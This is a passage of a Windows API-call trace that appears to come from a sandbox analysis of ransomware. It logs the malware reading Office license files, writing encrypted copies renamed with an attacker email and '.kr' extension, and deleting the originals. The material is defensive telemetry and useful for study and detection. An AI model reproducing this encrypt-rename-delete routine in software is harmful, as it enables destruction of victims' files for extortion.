liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.705] SetEndOfFile (hFile=0x3f8) returned 1 [0213.708] CloseHandle (hObject=0x3f8) returned 1 [0213.708] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0213.708] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-pl.xrm-ms")) returned 1 [0213.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-pl.xrm-ms") returned 76 [0213.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-pl.xrm-ms") returned 76 [0213.709] lstrlenW (lpString=".doc") returned 4 [0213.709] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.709] lstrlenW (lpString=".docx") returned 5 [0213.709] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.709] lstrlenW (lpString=".pdf") returned 4 [0213.709] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.709] lstrlenW (lpString=".xls") returned 4 [0213.709] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.709] lstrlenW (lpString=".xlsx") returned 5 [0213.710] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.710] lstrlenW (lpString=".ppt") returned 4 [0213.710] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-pl.xrm-ms") returned 76 [0213.710] lstrlenW (lpString=".zip") returned 4 [0213.710] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.710] lstrlenW (lpString=".rar") returned 4 [0213.710] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.710] lstrlenW (lpString=".bz2") returned 4 [0213.710] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.710] lstrlenW (lpString=".7z") returned 3 [0213.710] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-pl.xrm-ms") returned 76 [0213.710] lstrlenW (lpString=".dbf") returned 4 [0213.710] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-pl.xrm-ms") returned 76 [0213.710] lstrlenW (lpString=".1cd") returned 4 [0213.710] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-pl.xrm-ms") returned 76 [0213.710] lstrlenW (lpString=".jpg") returned 4 [0213.710] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-pl.xrm-ms") returned 76 [0213.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-pl.xrm-ms") returned 76 [0213.710] lstrlenW (lpString=".doc") returned 4 [0213.710] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.710] lstrlenW (lpString=".docx") returned 5 [0213.711] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.711] lstrlenW (lpString=".pdf") returned 4 [0213.711] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.711] lstrlenW (lpString=".xls") returned 4 [0213.711] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.711] lstrlenW (lpString=".xlsx") returned 5 [0213.711] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.711] lstrlenW (lpString=".ppt") returned 4 [0213.711] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-pl.xrm-ms") returned 76 [0213.711] lstrlenW (lpString=".zip") returned 4 [0213.711] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.711] lstrlenW (lpString=".rar") returned 4 [0213.711] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.711] lstrlenW (lpString=".bz2") returned 4 [0213.711] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.711] lstrlenW (lpString=".7z") returned 3 [0213.711] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-pl.xrm-ms") returned 76 [0213.711] lstrlenW (lpString=".dbf") returned 4 [0213.711] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-pl.xrm-ms") returned 76 [0213.711] lstrlenW (lpString=".1cd") returned 4 [0213.711] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-pl.xrm-ms") returned 76 [0213.711] lstrlenW (lpString=".jpg") returned 4 [0213.711] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.711] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0213.711] lstrlenW (lpString="PowerPointVL_MAK-ppd.xrm-ms") returned 27 [0213.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0213.712] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=6733) returned 1 [0213.712] CloseHandle (hObject=0x3f8) returned 1 [0213.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-ppd.xrm-ms")) returned 0x220 [0213.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0213.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0213.713] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.713] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0213.714] GetLastError () returned 0x0 [0213.714] ReadFile (in: hFile=0x3f8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x1a4d, lpOverlapped=0x0) returned 1 [0213.716] WriteFile (in: hFile=0x518, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x1a50, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x1a50, lpOverlapped=0x0) returned 1 [0213.717] ReadFile (in: hFile=0x3f8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0213.717] WriteFile (in: hFile=0x518, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x10a, lpOverlapped=0x0) returned 1 [0213.717] SetEndOfFile (hFile=0x518) returned 1 [0213.717] CloseHandle (hObject=0x518) returned 1 [0213.718] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.718] SetEndOfFile (hFile=0x3f8) returned 1 [0213.720] CloseHandle (hObject=0x3f8) returned 1 [0213.720] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0213.721] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-ppd.xrm-ms")) returned 1 [0213.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ppd.xrm-ms") returned 77 [0213.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ppd.xrm-ms") returned 77 [0213.721] lstrlenW (lpString=".doc") returned 4 [0213.721] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.721] lstrlenW (lpString=".docx") returned 5 [0213.721] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.721] lstrlenW (lpString=".pdf") returned 4 [0213.721] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.721] lstrlenW (lpString=".xls") returned 4 [0213.722] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.722] lstrlenW (lpString=".xlsx") returned 5 [0213.722] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.722] lstrlenW (lpString=".ppt") returned 4 [0213.722] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ppd.xrm-ms") returned 77 [0213.722] lstrlenW (lpString=".zip") returned 4 [0213.722] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.722] lstrlenW (lpString=".rar") returned 4 [0213.722] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.722] lstrlenW (lpString=".bz2") returned 4 [0213.722] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.722] lstrlenW (lpString=".7z") returned 3 [0213.722] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ppd.xrm-ms") returned 77 [0213.722] lstrlenW (lpString=".dbf") returned 4 [0213.722] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ppd.xrm-ms") returned 77 [0213.722] lstrlenW (lpString=".1cd") returned 4 [0213.722] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ppd.xrm-ms") returned 77 [0213.722] lstrlenW (lpString=".jpg") returned 4 [0213.722] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ppd.xrm-ms") returned 77 [0213.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ppd.xrm-ms") returned 77 [0213.722] lstrlenW (lpString=".doc") returned 4 [0213.722] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.722] lstrlenW (lpString=".docx") returned 5 [0213.722] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.722] lstrlenW (lpString=".pdf") returned 4 [0213.722] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.722] lstrlenW (lpString=".xls") returned 4 [0213.722] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.723] lstrlenW (lpString=".xlsx") returned 5 [0213.723] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.723] lstrlenW (lpString=".ppt") returned 4 [0213.723] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ppd.xrm-ms") returned 77 [0213.723] lstrlenW (lpString=".zip") returned 4 [0213.723] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.723] lstrlenW (lpString=".rar") returned 4 [0213.723] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.723] lstrlenW (lpString=".bz2") returned 4 [0213.723] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.723] lstrlenW (lpString=".7z") returned 3 [0213.723] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ppd.xrm-ms") returned 77 [0213.723] lstrlenW (lpString=".dbf") returned 4 [0213.723] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ppd.xrm-ms") returned 77 [0213.723] lstrlenW (lpString=".1cd") returned 4 [0213.723] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ppd.xrm-ms") returned 77 [0213.723] lstrlenW (lpString=".jpg") returned 4 [0213.723] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.723] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0213.723] lstrlenW (lpString="PowerPointVL_MAK-ul-oob.xrm-ms") returned 30 [0213.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0213.724] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11601) returned 1 [0213.724] CloseHandle (hObject=0x3f8) returned 1 [0213.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-ul-oob.xrm-ms")) returned 0x220 [0213.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0213.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0213.725] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.725] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0213.726] GetLastError () returned 0x0 [0213.726] ReadFile (in: hFile=0x3f8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2d51, lpOverlapped=0x0) returned 1 [0213.728] WriteFile (in: hFile=0x518, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0213.729] ReadFile (in: hFile=0x3f8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0213.729] WriteFile (in: hFile=0x518, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x110, lpOverlapped=0x0) returned 1 [0213.729] SetEndOfFile (hFile=0x518) returned 1 [0213.729] CloseHandle (hObject=0x518) returned 1 [0213.729] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.729] SetEndOfFile (hFile=0x3f8) returned 1 [0213.733] CloseHandle (hObject=0x3f8) returned 1 [0213.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0213.733] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-ul-oob.xrm-ms")) returned 1 [0213.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-oob.xrm-ms") returned 80 [0213.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-oob.xrm-ms") returned 80 [0213.734] lstrlenW (lpString=".doc") returned 4 [0213.734] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.734] lstrlenW (lpString=".docx") returned 5 [0213.734] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.734] lstrlenW (lpString=".pdf") returned 4 [0213.734] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.734] lstrlenW (lpString=".xls") returned 4 [0213.734] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.734] lstrlenW (lpString=".xlsx") returned 5 [0213.734] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.734] lstrlenW (lpString=".ppt") returned 4 [0213.734] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-oob.xrm-ms") returned 80 [0213.734] lstrlenW (lpString=".zip") returned 4 [0213.734] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.734] lstrlenW (lpString=".rar") returned 4 [0213.735] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.735] lstrlenW (lpString=".bz2") returned 4 [0213.735] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.735] lstrlenW (lpString=".7z") returned 3 [0213.735] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-oob.xrm-ms") returned 80 [0213.735] lstrlenW (lpString=".dbf") returned 4 [0213.735] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-oob.xrm-ms") returned 80 [0213.735] lstrlenW (lpString=".1cd") returned 4 [0213.735] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-oob.xrm-ms") returned 80 [0213.735] lstrlenW (lpString=".jpg") returned 4 [0213.735] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-oob.xrm-ms") returned 80 [0213.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-oob.xrm-ms") returned 80 [0213.735] lstrlenW (lpString=".doc") returned 4 [0213.735] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.735] lstrlenW (lpString=".docx") returned 5 [0213.735] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.735] lstrlenW (lpString=".pdf") returned 4 [0213.735] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.735] lstrlenW (lpString=".xls") returned 4 [0213.735] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.735] lstrlenW (lpString=".xlsx") returned 5 [0213.735] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.735] lstrlenW (lpString=".ppt") returned 4 [0213.735] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-oob.xrm-ms") returned 80 [0213.735] lstrlenW (lpString=".zip") returned 4 [0213.735] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.735] lstrlenW (lpString=".rar") returned 4 [0213.736] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.736] lstrlenW (lpString=".bz2") returned 4 [0213.736] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.736] lstrlenW (lpString=".7z") returned 3 [0213.736] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-oob.xrm-ms") returned 80 [0213.736] lstrlenW (lpString=".dbf") returned 4 [0213.736] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-oob.xrm-ms") returned 80 [0213.736] lstrlenW (lpString=".1cd") returned 4 [0213.736] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-oob.xrm-ms") returned 80 [0213.736] lstrlenW (lpString=".jpg") returned 4 [0213.736] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.736] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0213.736] lstrlenW (lpString="PowerPointVL_MAK-ul-phn.xrm-ms") returned 30 [0213.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0213.737] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=19946) returned 1 [0213.737] CloseHandle (hObject=0x3f8) returned 1 [0213.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-ul-phn.xrm-ms")) returned 0x220 [0213.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0213.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0213.738] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.738] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0213.739] GetLastError () returned 0x0 [0213.739] ReadFile (in: hFile=0x3f8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x4dea, lpOverlapped=0x0) returned 1 [0213.934] WriteFile (in: hFile=0x518, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x4df0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x4df0, lpOverlapped=0x0) returned 1 [0213.935] ReadFile (in: hFile=0x3f8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, 